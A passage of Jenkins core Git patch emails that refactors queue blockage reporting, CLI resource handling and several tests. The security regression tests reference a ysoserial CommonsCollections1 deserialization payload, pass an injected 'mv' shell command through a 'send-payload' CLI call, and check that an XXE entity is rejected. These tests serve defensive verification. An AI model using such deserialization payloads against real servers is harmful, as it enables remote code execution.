{ /** * Obtains a simple implementation backed by {@link Localizable}. */ - public static CauseOfBlockage fromMessage(final Localizable l) { + public static CauseOfBlockage fromMessage(@Nonnull final Localizable l) { + l.getKey(); // null check return new CauseOfBlockage() { + @Override public String getShortDescription() { return l.toString(); } @@ -103,6 +107,33 @@ public abstract class CauseOfBlockage { } } + /** + * Build is blocked because a node (or its retention strategy) is not accepting tasks. + * @since FIXME + */ + public static final class BecauseNodeIsNotAcceptingTasks extends CauseOfBlockage implements NeedsMoreExecutor { + + public final Node node; + + public BecauseNodeIsNotAcceptingTasks(Node node) { + this.node = node; + } + + @Override + public String getShortDescription() { + Computer computer = node.toComputer(); + String name = computer != null ? computer.getDisplayName() : node.getDisplayName(); + return Messages.Node_BecauseNodeIsNotAcceptingTasks(name); + } + + @Override + public void print(TaskListener listener) { + listener.getLogger().println( + Messages.Node_BecauseNodeIsNotAcceptingTasks(ModelHyperlinkNote.encodeTo(node))); + } + + } + /** * Build is blocked because all the nodes that match a given label is offline. */ diff --git a/core/src/main/java/jenkins/model/queue/CompositeCauseOfBlockage.java b/core/src/main/java/jenkins/model/queue/CompositeCauseOfBlockage.java new file mode 100644 index 0000000000..9cb04c3bb7 --- /dev/null +++ b/core/src/main/java/jenkins/model/queue/CompositeCauseOfBlockage.java @@ -0,0 +1,63 @@ +/* + * The MIT License + * + * Copyright 2016 CloudBees, Inc. + * + * Permission is hereby granted, free of charge, to any person obtaining a copy + * of this software and associated documentation files (the "Software"), to deal + * in the Software without restriction, including without limitation the rights + * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell + * copies of the Software, and to permit persons to whom the Software is + * furnished to do so, subject to the following conditions: + * + * The above copyright notice and this permission notice shall be included in + * all copies or substantial portions of the Software. + * + * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR + * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, + * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE + * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER + * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, + * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN + * THE SOFTWARE. + */ + +package jenkins.model.queue; + +import hudson.model.TaskListener; +import hudson.model.queue.CauseOfBlockage; +import java.util.List; +import java.util.Map; +import java.util.TreeMap; +import org.apache.commons.lang.StringUtils; +import org.kohsuke.accmod.Restricted; +import org.kohsuke.accmod.restrictions.NoExternalUse; + +/** + * Represents the fact that there was at least one {@link hudson.model.Queue.JobOffer} which rejected a task. + */ +@Restricted(NoExternalUse.class) +public class CompositeCauseOfBlockage extends CauseOfBlockage { + + public final Map uniqueReasons; + + public CompositeCauseOfBlockage(List delegates) { + uniqueReasons = new TreeMap<>(); + for (CauseOfBlockage delegate : delegates) { + uniqueReasons.put(delegate.getShortDescription(), delegate); + } + } + + @Override + public String getShortDescription() { + return StringUtils.join(uniqueReasons.keySet(), "; "); + } + + @Override + public void print(TaskListener listener) { + for (CauseOfBlockage delegate : uniqueReasons.values()) { + delegate.print(listener); + } + } + +} diff --git a/core/src/main/resources/hudson/model/Messages.properties b/core/src/main/resources/hudson/model/Messages.properties index 454e2d98f2..676ebb12d0 100644 --- a/core/src/main/resources/hudson/model/Messages.properties +++ b/core/src/main/resources/hudson/model/Messages.properties @@ -194,6 +194,8 @@ Queue.Unknown=??? Queue.WaitingForNextAvailableExecutor=Waiting for next available executor Queue.WaitingForNextAvailableExecutorOn=Waiting for next available executor on {0} Queue.init=Restoring the build queue +Queue.node_has_been_removed_from_configuration={0} has been removed from configuration +Queue.executor_slot_already_in_use=Executor slot already in use ResultTrend.Aborted=Aborted ResultTrend.Failure=Failure @@ -335,7 +337,7 @@ PasswordParameterDefinition.DisplayName=Password Parameter Node.BecauseNodeIsReserved={0} is reserved for jobs with matching label expression Node.BecauseNodeIsNotAcceptingTasks={0} is not accepting tasks Node.LabelMissing={0} doesn\u2019t have label {1} -Node.LackingBuildPermission={0} doesn\u2019t have a permission to run on {1} +Node.LackingBuildPermission={0} lacks permission to run on {1} Node.Mode.NORMAL=Use this node as much as possible Node.Mode.EXCLUSIVE=Only build jobs with label expressions matching this node diff --git a/core/src/main/resources/jenkins/model/queue/CompositeCauseOfBlockage/summary.jelly b/core/src/main/resources/jenkins/model/queue/CompositeCauseOfBlockage/summary.jelly new file mode 100644 index 0000000000..76fc4313b0 --- /dev/null +++ b/core/src/main/resources/jenkins/model/queue/CompositeCauseOfBlockage/summary.jelly @@ -0,0 +1,32 @@ + + + + + + + ; + + + diff --git a/test/src/test/java/hudson/model/queue/QueueTaskDispatcherTest.java b/test/src/test/java/hudson/model/queue/QueueTaskDispatcherTest.java index 965c6be617..a163edcdb8 100644 --- a/test/src/test/java/hudson/model/queue/QueueTaskDispatcherTest.java +++ b/test/src/test/java/hudson/model/queue/QueueTaskDispatcherTest.java @@ -1,28 +1,45 @@ package hudson.model.queue; import hudson.model.FreeStyleProject; +import hudson.model.Node; +import hudson.model.Queue; import hudson.model.Queue.Item; - -import org.jvnet.hudson.test.HudsonTestCase; +import hudson.model.TaskListener; +import hudson.util.StreamTaskListener; +import java.io.StringWriter; +import java.util.logging.Level; +import static org.hamcrest.Matchers.containsString; +import static org.junit.Assert.*; +import org.junit.Rule; +import org.junit.Test; +import org.jvnet.hudson.test.Issue; +import org.jvnet.hudson.test.JenkinsRule; +import org.jvnet.hudson.test.LoggerRule; import org.jvnet.hudson.test.TestExtension; -public class QueueTaskDispatcherTest extends HudsonTestCase { +public class QueueTaskDispatcherTest { + + @Rule + public JenkinsRule r = new JenkinsRule(); - @SuppressWarnings("deprecation") - public void testCanRunBlockageIsDisplayed() throws Exception { - FreeStyleProject project = createFreeStyleProject(); - jenkins.getQueue().schedule(project); + @Rule + public LoggerRule logging = new LoggerRule().record(Queue.class, Level.ALL); - Item item = jenkins.getQueue().getItem(project); + @Test + public void canRunBlockageIsDisplayed() throws Exception { + FreeStyleProject project = r.createFreeStyleProject(); + r.jenkins.getQueue().schedule(project); + + Item item = r.jenkins.getQueue().getItem(project); for (int i = 0; i < 4 * 60 && !item.isBlocked(); i++) { Thread.sleep(250); - item = jenkins.getQueue().getItem(project); + item = r.jenkins.getQueue().getItem(project); } assertTrue("Not blocked after 60 seconds", item.isBlocked()); assertEquals("Expected CauseOfBlockage to be returned", "blocked by canRun", item.getWhy()); } - @TestExtension + @TestExtension("canRunBlockageIsDisplayed") public static class MyQueueTaskDispatcher extends QueueTaskDispatcher { @Override public CauseOfBlockage canRun(Item item) { @@ -34,4 +51,41 @@ public class QueueTaskDispatcherTest extends HudsonTestCase { }; } } + + @Issue("JENKINS-38514") + @Test + public void canTakeBlockageIsDisplayed() throws Exception { + FreeStyleProject project = r.createFreeStyleProject(); + r.jenkins.getQueue().schedule(project); + Queue.Item item; + while (true) { + item = r.jenkins.getQueue().getItem(project); + if (item.isBuildable()) { + break; + } + Thread.sleep(100); + } + CauseOfBlockage cob = item.getCauseOfBlockage(); + assertNotNull(cob); + assertThat(cob.getShortDescription(), containsString("blocked by canTake")); + StringWriter w = new StringWriter(); + TaskListener l = new StreamTaskListener(w); + cob.print(l); + l.getLogger().flush(); + assertThat(w.toString(), containsString("blocked by canTake")); + } + + @TestExtension("canTakeBlockageIsDisplayed") + public static class AnotherQueueTaskDispatcher extends QueueTaskDispatcher { + @Override + public CauseOfBlockage canTake(Node node, Queue.BuildableItem item) { + return new CauseOfBlockage() { + @Override + public String getShortDescription() { + return "blocked by canTake"; + } + }; + } + } + } diff --git a/test/src/test/java/hudson/slaves/NodeCanTakeTaskTest.java b/test/src/test/java/hudson/slaves/NodeCanTakeTaskTest.java index 3747d64cca..ce0361282b 100644 --- a/test/src/test/java/hudson/slaves/NodeCanTakeTaskTest.java +++ b/test/src/test/java/hudson/slaves/NodeCanTakeTaskTest.java @@ -24,42 +24,41 @@ package hudson.slaves; -import static org.junit.Assert.assertEquals; -import static org.junit.Assert.assertNotNull; - -import java.util.List; -import java.util.concurrent.Future; -import java.util.concurrent.TimeUnit; -import java.util.concurrent.TimeoutException; - import hudson.model.FreeStyleBuild; import hudson.model.FreeStyleProject; -import hudson.model.Messages; import hudson.model.Node; -import hudson.model.Result; +import hudson.model.Queue; import hudson.model.Queue.BuildableItem; -import hudson.model.Queue.Task; +import hudson.model.Result; import hudson.model.Slave; import hudson.model.queue.CauseOfBlockage; +import java.util.List; +import java.util.concurrent.Future; +import java.util.concurrent.TimeUnit; +import java.util.concurrent.TimeoutException; +import static org.junit.Assert.*; +import org.junit.Rule; +import org.junit.Test; +import org.jvnet.hudson.test.Issue; +import org.jvnet.hudson.test.JenkinsRule; +import org.jvnet.hudson.test.SleepBuilder; -import org.jvnet.hudson.test.HudsonTestCase; +public class NodeCanTakeTaskTest { -public class NodeCanTakeTaskTest extends HudsonTestCase { - @Override - protected void setUp() throws Exception { - super.setUp(); + @Rule + public JenkinsRule r = new JenkinsRule(); + @Issue({"JENKINS-6598", "JENKINS-38514"}) + @Test + public void takeBlockedByProperty() throws Exception { // Set master executor count to zero to force all jobs to slaves - jenkins.setNumExecutors(0); - } - - public void testTakeBlockedByProperty() throws Exception { - Slave slave = createSlave(); - FreeStyleProject project = createFreeStyleProject(); + r.jenkins.setNumExecutors(0); + Slave slave = r.createSlave(); + FreeStyleProject project = r.createFreeStyleProject(); // First, attempt to run our project before adding the property Future build = project.scheduleBuild2(0); - assertBuildStatus(Result.SUCCESS, build.get(20, TimeUnit.SECONDS)); + r.assertBuildStatus(Result.SUCCESS, build.get(20, TimeUnit.SECONDS)); // Add the build-blocker property and try again slave.getNodeProperties().add(new RejectAllTasksProperty()); @@ -69,21 +68,43 @@ public class NodeCanTakeTaskTest extends HudsonTestCase { build.get(10, TimeUnit.SECONDS); fail("Expected timeout exception"); } catch (TimeoutException e) { - List buildables = jenkins.getQueue().getBuildableItems(); + List buildables = r.jenkins.getQueue().getBuildableItems(); assertNotNull(buildables); assertEquals(1, buildables.size()); BuildableItem item = buildables.get(0); assertEquals(project, item.task); assertNotNull(item.getCauseOfBlockage()); - assertEquals(Messages.Queue_WaitingForNextAvailableExecutor(), item.getCauseOfBlockage().getShortDescription()); + assertEquals("rejecting everything", item.getCauseOfBlockage().getShortDescription()); } } private static class RejectAllTasksProperty extends NodeProperty { @Override - public CauseOfBlockage canTake(Task task) { - return CauseOfBlockage.fromMessage(null); + public CauseOfBlockage canTake(BuildableItem item) { + return new CauseOfBlockage() { + @Override + public String getShortDescription() { + return "rejecting everything"; + } + }; } } + + @Test + public void becauseNodeIsBusy() throws Exception { + Slave slave = r.createSlave(); + FreeStyleProject project = r.createFreeStyleProject(); + project.setAssignedNode(slave); + project.setConcurrentBuild(true); + project.getBuildersList().add(new SleepBuilder(Long.MAX_VALUE)); + project.scheduleBuild2(0).waitForStart(); // consume the one executor + project.scheduleBuild2(0); // now try to reschedule + Queue.Item item; + while ((item = r.jenkins.getQueue().getItem(project)) == null || !item.isBuildable()) { + Thread.sleep(100); + } + assertEquals(hudson.model.Messages.Queue_WaitingForNextAvailableExecutorOn(slave.getDisplayName()), item.getWhy()); + } + } -- GitLab From c4ee05bcaedcf545093a4b897cab8648fbc37c95 Mon Sep 17 00:00:00 2001 From: Jesse Glick Date: Fri, 9 Dec 2016 05:05:49 -0500 Subject: [PATCH 565/811] Make sure Security218BlackBoxTest cleans up threads it starts (#2642) * Make sure Security218BlackBoxTest cleans up threads it starts. * Some code simplifications, and possible leak fixes, based on CLI now being AutoCloseable. * Obsolete comment. --- cli/src/main/java/hudson/cli/CLI.java | 5 +-- .../test/java/hudson/cli/CLIActionTest.java | 4 +-- .../java/hudson/model/ComputerSetTest.java | 6 +--- .../model/listeners/ItemListenerTest.java | 5 +-- .../security/CliAuthenticationTest.java | 10 ++---- .../security/Security218BlackBoxTest.java | 35 +++++++++++++++++-- .../jenkins/security/Security218CliTest.java | 13 +++---- 7 files changed, 48 insertions(+), 30 deletions(-) diff --git a/cli/src/main/java/hudson/cli/CLI.java b/cli/src/main/java/hudson/cli/CLI.java index 9eca2ec8ef..c11fcd546a 100644 --- a/cli/src/main/java/hudson/cli/CLI.java +++ b/cli/src/main/java/hudson/cli/CLI.java @@ -25,6 +25,7 @@ package hudson.cli; import hudson.cli.client.Messages; import hudson.remoting.Channel; +import hudson.remoting.NamingThreadFactory; import hudson.remoting.PingThread; import hudson.remoting.Pipe; import hudson.remoting.RemoteInputStream; @@ -80,7 +81,7 @@ import static java.util.logging.Level.*; * * @author Kohsuke Kawaguchi */ -public class CLI { +public class CLI implements AutoCloseable { private final ExecutorService pool; private final Channel channel; private final CliEntryPoint entryPoint; @@ -121,7 +122,7 @@ public class CLI { if(!url.endsWith("/")) url+='/'; ownsPool = exec==null; - pool = exec!=null ? exec : Executors.newCachedThreadPool(); + pool = exec!=null ? exec : Executors.newCachedThreadPool(new NamingThreadFactory(Executors.defaultThreadFactory(), "CLI.pool")); Channel _channel; try { diff --git a/test/src/test/java/hudson/cli/CLIActionTest.java b/test/src/test/java/hudson/cli/CLIActionTest.java index 87efece940..8a808673a4 100644 --- a/test/src/test/java/hudson/cli/CLIActionTest.java +++ b/test/src/test/java/hudson/cli/CLIActionTest.java @@ -65,10 +65,10 @@ public class CLIActionTest { @Test public void security218_take2() throws Exception { pool = Executors.newCachedThreadPool(); - try { + try (CLI cli = new CLI(j.getURL())) { List/**/ commands = new ArrayList(); commands.add(new Security218()); - new CLI(j.getURL()).execute(commands); + cli.execute(commands); fail("Expected the call to be rejected"); } catch (Exception e) { assertThat(Functions.printThrowable(e), containsString("Rejected: " + Security218.class.getName())); diff --git a/test/src/test/java/hudson/model/ComputerSetTest.java b/test/src/test/java/hudson/model/ComputerSetTest.java index 82f5689fd2..56878bf4cd 100644 --- a/test/src/test/java/hudson/model/ComputerSetTest.java +++ b/test/src/test/java/hudson/model/ComputerSetTest.java @@ -27,7 +27,6 @@ import static org.hamcrest.MatcherAssert.assertThat; import static org.hamcrest.Matchers.contains; import static org.hamcrest.Matchers.containsInAnyOrder; import static org.hamcrest.Matchers.empty; -import static org.hamcrest.Matchers.hasSize; import static org.hamcrest.Matchers.is; import static org.junit.Assert.assertTrue; @@ -70,16 +69,13 @@ public class ComputerSetTest { public void nodeOfflineCli() throws Exception { DumbSlave s = j.createSlave(); - CLI cli = new CLI(j.getURL()); - try { + try (CLI cli = new CLI(j.getURL())) { assertTrue(cli.execute("wait-node-offline","xxx")!=0); assertTrue(cli.execute("wait-node-online",s.getNodeName())==0); s.toComputer().disconnect().get(); assertTrue(cli.execute("wait-node-offline",s.getNodeName())==0); - } finally { - cli.close(); } } diff --git a/test/src/test/java/hudson/model/listeners/ItemListenerTest.java b/test/src/test/java/hudson/model/listeners/ItemListenerTest.java index 2353e1be9c..bf19e6ea0d 100644 --- a/test/src/test/java/hudson/model/listeners/ItemListenerTest.java +++ b/test/src/test/java/hudson/model/listeners/ItemListenerTest.java @@ -66,8 +66,7 @@ public class ItemListenerTest { public void onCreatedViaCLI() throws Exception { ByteArrayOutputStream buf = new ByteArrayOutputStream(); PrintStream out = new PrintStream(buf); - CLI cli = new CLI(j.getURL()); - try { + try (CLI cli = new CLI(j.getURL())) { cli.execute(Arrays.asList("create-job", "testJob"), new ByteArrayInputStream(("" + "").getBytes()), @@ -75,8 +74,6 @@ public class ItemListenerTest { out.flush(); assertNotNull("job should be created: " + buf, j.jenkins.getItem("testJob")); assertEquals("onCreated event should be triggered: " + buf, "C", events.toString()); - } finally { - cli.close(); } } } diff --git a/test/src/test/java/hudson/security/CliAuthenticationTest.java b/test/src/test/java/hudson/security/CliAuthenticationTest.java index 7080fa501f..52b17fc9eb 100644 --- a/test/src/test/java/hudson/security/CliAuthenticationTest.java +++ b/test/src/test/java/hudson/security/CliAuthenticationTest.java @@ -43,22 +43,16 @@ public class CliAuthenticationTest { } private int command(String... args) throws Exception { - CLI cli = new CLI(j.getURL()); - try { + try (CLI cli = new CLI(j.getURL())) { return cli.execute(args); - } finally { - cli.close(); } } private String commandAndOutput(String... args) throws Exception { - CLI cli = new CLI(j.getURL()); - try { + try (CLI cli = new CLI(j.getURL())) { ByteArrayOutputStream baos = new ByteArrayOutputStream(); cli.execute(Arrays.asList(args), new NullInputStream(0), baos, baos); return baos.toString(); - } finally { - cli.close(); } } diff --git a/test/src/test/java/jenkins/security/Security218BlackBoxTest.java b/test/src/test/java/jenkins/security/Security218BlackBoxTest.java index c4a5b0f275..4776ee92e4 100644 --- a/test/src/test/java/jenkins/security/Security218BlackBoxTest.java +++ b/test/src/test/java/jenkins/security/Security218BlackBoxTest.java @@ -29,6 +29,7 @@ import hudson.cli.CLI; import hudson.cli.CliPort; import hudson.remoting.BinarySafeStream; import hudson.util.DaemonThreadFactory; +import hudson.util.NamingThreadFactory; import java.io.ByteArrayOutputStream; import java.io.DataOutputStream; import java.io.File; @@ -40,13 +41,17 @@ import java.net.InetSocketAddress; import java.net.ServerSocket; import java.net.Socket; import java.net.URL; +import java.util.ArrayList; +import java.util.List; import java.util.concurrent.ExecutorService; import java.util.concurrent.Executors; import java.util.concurrent.TimeUnit; import java.util.concurrent.TimeoutException; import jenkins.security.security218.ysoserial.payloads.CommonsCollections1; import jenkins.security.security218.ysoserial.util.Serializables; +import org.junit.AfterClass; import static org.junit.Assert.*; +import org.junit.BeforeClass; import org.junit.Test; import org.junit.Rule; import org.jvnet.hudson.test.JenkinsRule; @@ -60,7 +65,22 @@ public class Security218BlackBoxTest { assertTrue("$JENKINS_URL and $JENKINS_HOME must both be defined together", (overrideURL == null) == (overrideHome == null)); } - private static final ExecutorService executors = Executors.newCachedThreadPool(new DaemonThreadFactory()); + private static ExecutorService executors; + private static List closables; + + @BeforeClass public static void startExecutors() throws Exception { + executors = Executors.newCachedThreadPool(new NamingThreadFactory(new DaemonThreadFactory(), "Security218BlackBoxTest.executors")); + closables = new ArrayList<>(); + } + + @AfterClass public static void shutdownExecutors() throws Exception { + for (AutoCloseable c : closables) { + c.close(); + } + closables = null; + executors.shutdownNow(); + executors.awaitTermination(5, TimeUnit.MINUTES); // >3m test timeout, so we will get a failure + thread dump if this does not work + } @Rule public JenkinsRule r = new JenkinsRule(); @@ -81,18 +101,25 @@ public class Security218BlackBoxTest { for (int round = 0; round < 2; round++) { final int _round = round; final ServerSocket proxySocket = new ServerSocket(0); + closables.add(proxySocket); executors.submit(new Runnable() { @Override public void run() { try { Socket proxy = proxySocket.accept(); + closables.add(proxy); HttpURLConnection conn = (HttpURLConnection) url.openConnection(); String host = conn.getHeaderField("X-Jenkins-CLI-Host"); Socket real = new Socket(host == null ? url.getHost() : host, conn.getHeaderFieldInt("X-Jenkins-CLI-Port", -1)); + closables.add(real); final InputStream realIS = real.getInputStream(); + closables.add(realIS); final OutputStream realOS = real.getOutputStream(); + closables.add(realOS); final InputStream proxyIS = proxy.getInputStream(); + closables.add(proxyIS); final OutputStream proxyOS = proxy.getOutputStream(); + closables.add(proxyOS); executors.submit(new Runnable() { @Override public void run() { @@ -248,12 +275,14 @@ public class Security218BlackBoxTest { // Bypassing _main because it does nothing interesting here. // Hardcoding CLI protocol version 1 (CliProtocol) because it is easier to sniff. try { - new CLI(r.getURL()) { + CLI cli = new CLI(r.getURL()) { @Override protected CliPort getCliTcpPort(String url) throws IOException { return new CliPort(new InetSocketAddress(proxySocket.getInetAddress(), proxySocket.getLocalPort()), /* ignore identity */ null, 1); } - }.execute("help"); + }; + closables.add(cli); + cli.execute("help"); } catch (Exception x) { x.printStackTrace(); } diff --git a/test/src/test/java/jenkins/security/Security218CliTest.java b/test/src/test/java/jenkins/security/Security218CliTest.java index 87d8026221..b6eca3ab30 100644 --- a/test/src/test/java/jenkins/security/Security218CliTest.java +++ b/test/src/test/java/jenkins/security/Security218CliTest.java @@ -32,7 +32,6 @@ import java.io.File; import java.io.PrintStream; import jenkins.security.security218.Payload; import org.jenkinsci.remoting.RoleChecker; -import org.junit.Ignore; import org.junit.Test; import static org.junit.Assert.*; import org.junit.Rule; @@ -176,11 +175,13 @@ public class Security218CliTest { // Bypassing _main because it does nothing interesting here. // Hardcoding CLI protocol version 1 (CliProtocol) because it is easier to sniff. - int exitCode = new CLI(r.getURL()).execute("send-payload", - payload.toString(), "mv " + file.getAbsolutePath() + " " + moved.getAbsolutePath()); - assertEquals("Unexpected result code.", expectedResultCode, exitCode); - assertTrue("Payload should not invoke the move operation " + file, !moved.exists()); - file.delete(); + try (CLI cli = new CLI(r.getURL())) { + int exitCode = cli.execute("send-payload", + payload.toString(), "mv " + file.getAbsolutePath() + " " + moved.getAbsolutePath()); + assertEquals("Unexpected result code.", expectedResultCode, exitCode); + assertTrue("Payload should not invoke the move operation " + file, !moved.exists()); + file.delete(); + } } @TestExtension() -- GitLab From ba2900b27dba97c70d2bdbce043b752907ea7ea3 Mon Sep 17 00:00:00 2001 From: andrealaura Date: Fri, 9 Dec 2016 11:23:58 +0100 Subject: [PATCH 566/811] =?UTF-8?q?[FIX=20JENKINS-36044]:=20Added=20defaul?= =?UTF-8?q?t=20locale=20to=20XMLUtilsTest=20so=20that=20it=20=E2=80=A6=20(?= =?UTF-8?q?#2649)?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit * [FIX JENKINS-36044]: Added default locale to XMLUtilsTest so that it runs independent from the host OS locale. * [FIX JENKINS-36044]: Cleanup default-locale after test, to avoid impact to other tests. * [FIX JENKINS-36044]: Make test language indepedent. * [FIX JENKINS-36044]: Cleanup unused imports. --- core/src/test/java/jenkins/xml/XMLUtilsTest.java | 5 ++--- 1 file changed, 2 insertions(+), 3 deletions(-) diff --git a/core/src/test/java/jenkins/xml/XMLUtilsTest.java b/core/src/test/java/jenkins/xml/XMLUtilsTest.java index aac8ab8e53..55b0d806bb 100644 --- a/core/src/test/java/jenkins/xml/XMLUtilsTest.java +++ b/core/src/test/java/jenkins/xml/XMLUtilsTest.java @@ -42,7 +42,6 @@ import javax.xml.xpath.XPathExpressionException; import static org.hamcrest.core.StringContains.containsString; import static org.junit.Assert.assertThat; import org.jvnet.hudson.test.Issue; -import org.w3c.dom.Document; import org.xml.sax.SAXException; public class XMLUtilsTest { @@ -127,10 +126,10 @@ public class XMLUtilsTest { "&xxe;"; StringReader stringReader = new StringReader(xml); - Document doc = XMLUtils.parse(stringReader); + XMLUtils.parse(stringReader); Assert.fail("Expecting SAXException for XXE."); } catch (SAXException e) { - assertThat(e.getMessage(), containsString("DOCTYPE is disallowed")); + assertThat(e.getMessage(), containsString("\"http://apache.org/xml/features/disallow-doctype-decl\"")); } } } -- GitLab From e43222dde84be0ea7d05647790fedc12d70f8052 Mon Sep 17 00:00:00 2001 From: Daniel Beck Date: Fri, 9 Dec 2016 12:00:43 +0100 Subject: [PATCH 567/811] [FIX JENKINS-39700] Don't fail when no parameters property for job --- core/src/main/java/hudson/model/Job.java | 16 ---------------- 1 file changed, 16 deletions(-) diff --git a/core/src/main/java/hudson/model/Job.java b/core/src/main/java/hudson/model/Job.java index b0cbe82a22..9dc1e2752a 100644 --- a/core/src/main/java/hudson/model/Job.java +++ b/core/src/main/java/hudson/model/Job.java @@ -1231,8 +1231,6 @@ public abstract class Job, RunT extends Run, JobPropertyDescriptor> t = new DescribableList, JobPropertyDescriptor>(NOOP,getAllProperties()); JSONObject jsonProperties = json.optJSONObject("properties"); if (jsonProperties != null) { - //This handles the situation when Parameterized build checkbox is checked but no parameters are selected. User will be redirected to an error page with proper error message. - Job.checkForEmptyParameters(jsonProperties); t.rebuild(req,jsonProperties,JobPropertyDescriptor.getPropertyDescriptors(Job.this.getClass())); } else { t.clear(); @@ -1537,18 +1535,4 @@ public abstract class Job, RunT extends Run Date: Fri, 9 Dec 2016 12:46:24 +0000 Subject: [PATCH 568/811] [JENKINS-39300] Update tests --- .../hudson/cli/DeleteViewCommandTest.java | 11 +++-- test/src/test/java/hudson/model/ApiTest.java | 4 +- .../hudson/model/MyViewsPropertyTest.java | 47 ++++++++++--------- 3 files changed, 32 insertions(+), 30 deletions(-) diff --git a/test/src/test/java/hudson/cli/DeleteViewCommandTest.java b/test/src/test/java/hudson/cli/DeleteViewCommandTest.java index d9ff9f708a..7280a65b29 100644 --- a/test/src/test/java/hudson/cli/DeleteViewCommandTest.java +++ b/test/src/test/java/hudson/cli/DeleteViewCommandTest.java @@ -33,6 +33,7 @@ import static hudson.cli.CLICommandInvoker.Matcher.hasNoStandardOutput; import static hudson.cli.CLICommandInvoker.Matcher.succeededSilently; import static hudson.cli.CLICommandInvoker.Matcher.failedWith; +import hudson.model.AllView; import java.io.IOException; import hudson.model.ListView; @@ -116,12 +117,12 @@ public class DeleteViewCommandTest { final CLICommandInvoker.Result result = command .authorizedTo(View.READ, View.DELETE, Jenkins.READ) - .invokeWithArgs("All") + .invokeWithArgs(AllView.DEFAULT_VIEW_NAME) ; assertThat(result, failedWith(4)); assertThat(result, hasNoStandardOutput()); - assertThat(j.jenkins.getView("All"), notNullValue()); + assertThat(j.jenkins.getView(AllView.DEFAULT_VIEW_NAME), notNullValue()); assertThat(result.stderr(), containsString("ERROR: Jenkins does not allow to delete 'All' view")); } @@ -262,15 +263,15 @@ public class DeleteViewCommandTest { final CLICommandInvoker.Result result = command .authorizedTo(View.READ, View.DELETE, Jenkins.READ) - .invokeWithArgs("aView1", "aView2", "All"); + .invokeWithArgs("aView1", "aView2", AllView.DEFAULT_VIEW_NAME); assertThat(result, failedWith(5)); assertThat(result, hasNoStandardOutput()); - assertThat(result.stderr(), containsString("All: Jenkins does not allow to delete 'All' view")); + assertThat(result.stderr(), containsString(AllView.DEFAULT_VIEW_NAME+": Jenkins does not allow to delete '"+ AllView.DEFAULT_VIEW_NAME+"' view")); assertThat(result.stderr(), containsString("ERROR: " + CLICommand.CLI_LISTPARAM_SUMMARY_ERROR_TEXT)); assertThat(j.jenkins.getView("aView1"), nullValue()); assertThat(j.jenkins.getView("aView2"), nullValue()); - assertThat(j.jenkins.getView("All"), notNullValue()); + assertThat(j.jenkins.getView(AllView.DEFAULT_VIEW_NAME), notNullValue()); } } diff --git a/test/src/test/java/hudson/model/ApiTest.java b/test/src/test/java/hudson/model/ApiTest.java index 44dd587878..cffde63571 100644 --- a/test/src/test/java/hudson/model/ApiTest.java +++ b/test/src/test/java/hudson/model/ApiTest.java @@ -99,7 +99,7 @@ public class ApiTest { @Issue("JENKINS-3267") public void wrappedOneItem() throws Exception { Page page = j.createWebClient().goTo("api/xml?wrapper=root&xpath=/hudson/view/name", "application/xml"); - assertEquals("All", page.getWebResponse().getContentAsString()); + assertEquals(""+ AllView.DEFAULT_VIEW_NAME+"", page.getWebResponse().getContentAsString()); } @Test @@ -118,7 +118,7 @@ public class ApiTest { @Test public void unwrappedOneItem() throws Exception { Page page = j.createWebClient().goTo("api/xml?xpath=/hudson/view/name", "application/xml"); - assertEquals("All", page.getWebResponse().getContentAsString()); + assertEquals(""+ AllView.DEFAULT_VIEW_NAME+"", page.getWebResponse().getContentAsString()); } @Test diff --git a/test/src/test/java/hudson/model/MyViewsPropertyTest.java b/test/src/test/java/hudson/model/MyViewsPropertyTest.java index 666a383d20..1abfcacd35 100644 --- a/test/src/test/java/hudson/model/MyViewsPropertyTest.java +++ b/test/src/test/java/hudson/model/MyViewsPropertyTest.java @@ -47,17 +47,17 @@ public class MyViewsPropertyTest { @Test public void testReadResolve() throws IOException { User user = User.get("User"); - MyViewsProperty property = new MyViewsProperty(Messages.Hudson_ViewName()); + MyViewsProperty property = new MyViewsProperty(AllView.DEFAULT_VIEW_NAME); property.setUser(user); user.addProperty(property); property.readResolve(); - assertNotNull("Property should contains " + Messages.Hudson_ViewName() + " defaultly.", property.getView(Messages.Hudson_ViewName())); + assertNotNull("Property should contains " + AllView.DEFAULT_VIEW_NAME + " defaultly.", property.getView(AllView.DEFAULT_VIEW_NAME)); } @Test public void testSave() throws IOException { User user = User.get("User"); - MyViewsProperty property = new MyViewsProperty(Messages.Hudson_ViewName()); + MyViewsProperty property = new MyViewsProperty(AllView.DEFAULT_VIEW_NAME); property.readResolve(); property.setUser(user); user.addProperty(property); @@ -79,10 +79,10 @@ public class MyViewsPropertyTest { @Test public void testGetViews() throws IOException { User user = User.get("User"); - MyViewsProperty property = new MyViewsProperty(Messages.Hudson_ViewName()); + MyViewsProperty property = new MyViewsProperty(AllView.DEFAULT_VIEW_NAME); property.readResolve(); property.setUser(user); - assertTrue("Property should contains " + Messages.Hudson_ViewName(), property.getViews().contains(property.getView(Messages.Hudson_ViewName()))); + assertTrue("Property should contains " + AllView.DEFAULT_VIEW_NAME, property.getViews().contains(property.getView(AllView.DEFAULT_VIEW_NAME))); View view = new ListView("foo",property); property.addView(view); assertTrue("Property should contains " + view.name, property.getViews().contains(view)); @@ -91,10 +91,11 @@ public class MyViewsPropertyTest { @Test public void testGetView() throws IOException { User user = User.get("User"); - MyViewsProperty property = new MyViewsProperty(Messages.Hudson_ViewName()); + MyViewsProperty property = new MyViewsProperty(AllView.DEFAULT_VIEW_NAME); property.readResolve(); property.setUser(user); - assertNotNull("Property should contains " + Messages.Hudson_ViewName(), property.getView(Messages.Hudson_ViewName())); + assertNotNull("Property should contains " + AllView.DEFAULT_VIEW_NAME, property.getView( + AllView.DEFAULT_VIEW_NAME)); View view = new ListView("foo",property); property.addView(view); assertEquals("Property should contains " + view.name, view, property.getView(view.name)); @@ -103,11 +104,11 @@ public class MyViewsPropertyTest { @Test public void testGetPrimaryView() throws IOException { User user = User.get("User"); - MyViewsProperty property = new 